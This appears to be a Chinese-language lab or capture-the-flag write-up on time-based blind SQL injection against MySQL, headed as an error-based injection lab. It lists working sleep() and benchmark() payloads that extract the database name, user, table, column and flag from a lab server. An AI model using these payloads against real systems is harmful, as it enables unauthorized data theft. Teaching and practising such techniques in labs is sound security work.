1.实验名称
SQL报错注入
2.实验环境
1、攻击机系统环境:Windows 7/8/10
2、浏览器:Firefox 53.0.2(64位)
3、浏览器插件HackBar 1.6.3.1
3.实验原理
3.1 SQL盲注用到的几个函数
IF(Condition,A,B)函数:当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
没有任何报错信息,只能靠时间线的长短来判断。
利用前提:页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
优点:不需要显示位,不需要出错信息。
缺点:速度慢,耗费大量时间
4.实验内容
4.1基于时间延迟的盲注
打开Firefox浏览器,按F12,打开FireBug。选择“网络选项卡”
实验网址: http://222.18.158.243:4609/
注入点:http://222.18.158.243:4609/?id=1
需要学生自己构造SQL语句,获得字段个数、字段精确位置、数据库名、数据库用户名、表名、字段名、字段内容等信息。
提示:
http://222.18.158.243:4609/?id=1 and if(length(database())=6,sleep(1),1)%23
FireBug中,“网络选项卡”的时间线与
http://222.18.158.243:4609/?id=1 and if(length(database())=5,sleep(1),1)%23
http://222.18.158.243:4609/?id=1 and if(length(database())=7,sleep(1),1)%23
有明显区别,可以判断出数据库名长度为6
5.实验步骤
我们要先由上述提示内容获得数据库名和用户名的长度。
模板
?id=1 and if(left(测试语句,1)='猜测字符',sleep(1),1)%23
5.1爆数据库和用户名
?id=1 and if(left(database(),1)='s',sleep(1),1)%23
?id=1 and if(left(database(),1)='a',sleep(1),1)%23
我们明显可以看到当猜测数据库第一个字母为's'的时候,他用时1017ms,而猜测为'a'时用时16ms。这说明数据库是以s开头的。
用同样的方法猜测数据库的前两位是'sq'。
?id=1 and if(left(database(),2)='sq',sleep(1),1)%23
以此类推我们得到6位数据库名称'sql_db'和18位用户名'sql_user@localhost'
?id=1 and if(left(database(),6)='sql_db',sleep(1),1)%23
?id=1 and if(left(user(),18)='sql_user@localhost',sleep(1),1)%23
5.2爆表名
//爆表名长度
?id=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(1),1)%23
//爆表名
?id=1 and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),4)='flag',sleep(1),1)%23
我们得到长度为4的表'flag'
5.3爆列名
爆列名长度
?id=1 and if(length((select column_name from information_schema.columns where table_name='flag' limit 1,1))=4,sleep(1),1)%23
爆列名
?id=1 and if(left((select column_name from information_schema.columns where table_name='flag' limit 1,1),4)='flag',sleep(1),1)%23
我们得到长度为4列名:'flag'
5.3爆字段
爆字段长度
?id=1 and if(length((select flag from flag ))=14,sleep(1),1)%23
爆字段内容
?id=1 and if(left((select flag from flag limit 0,1),14)='wlgf{wlshfghj}',sleep(1),1)%23
我们得到14位的字段内容'wlgf{wlshfghj}'
6.基于时间延迟的盲注,利用benchmark函数
BENCHMARK(count,expr) 函数重复count次执行表达式expr,它可以用于计时MySQL处理表达式有多快,结果值总是0。
实验网址: http://222.18.158.243:4610/
注入点:http://222.18.158.243:4610/?id=1
需要学生自己构造SQL语句,获得字段个数、字段精确位置、数据库名、数据库用户名信息。
6.1获得数据库名和用户名的长度
?id=1 and if(length(database())=6,(select benchmark(10000000,md5(0x41))),1)%23
?id=1 and if(length(user())=18,(select benchmark(10000000,md5(0x41))),1)%23
数据库名长度
用户名长度
这样我们得到了数据库名长度为6,用户名长度为18。
6.2爆用户名和数据库名
?id=1 and if(left(database(),6)='sql_db',(select benchmark(10000000,md5(0x41))),1)%23
?id=1 and if(left(user(),18)='sql_user@localhost',(select benchmark(10000000,md5(0x41))),1)%23
数据库名
用户名
这样我们得到了数据库名:sql_db 用户名:sql_user@localhost
6.3爆表名
我们先获取表名长度
?id=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,(select benchmark(10000000,md5(0x41))),1)%23
再获取表名
?id=1 and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),4)='flag',(select benchmark(10000000,md5(0x41))),1)%23
这样我们就得到了表:'flag'
6.4爆列名
先获取列名长度
?id=1 and if(length((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1))=4,(select benchmark(10000000,md5(0x41))),1)%23
再获取列名
?id=1 and if(left((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4)='flag',(select benchmark(10000000,md5(0x41))),1)%23
这样我们得到了列名'flag'
6.5爆字段内容
先获取字段长度
?id=1 and if(length((select flag from flag limit 0,1))=14,(select benchmark(10000000,md5(0x41))),1)%23
再获取字段内容
?id=1 and if(left((select flag from flag limit 0,1),14)='wlgf{wkzxhfks}',(select benchmark(10000000,md5(0x41))),1)%23
这样我们得到了字段内容'wlgf{wkzxhfks}',字段长度为14。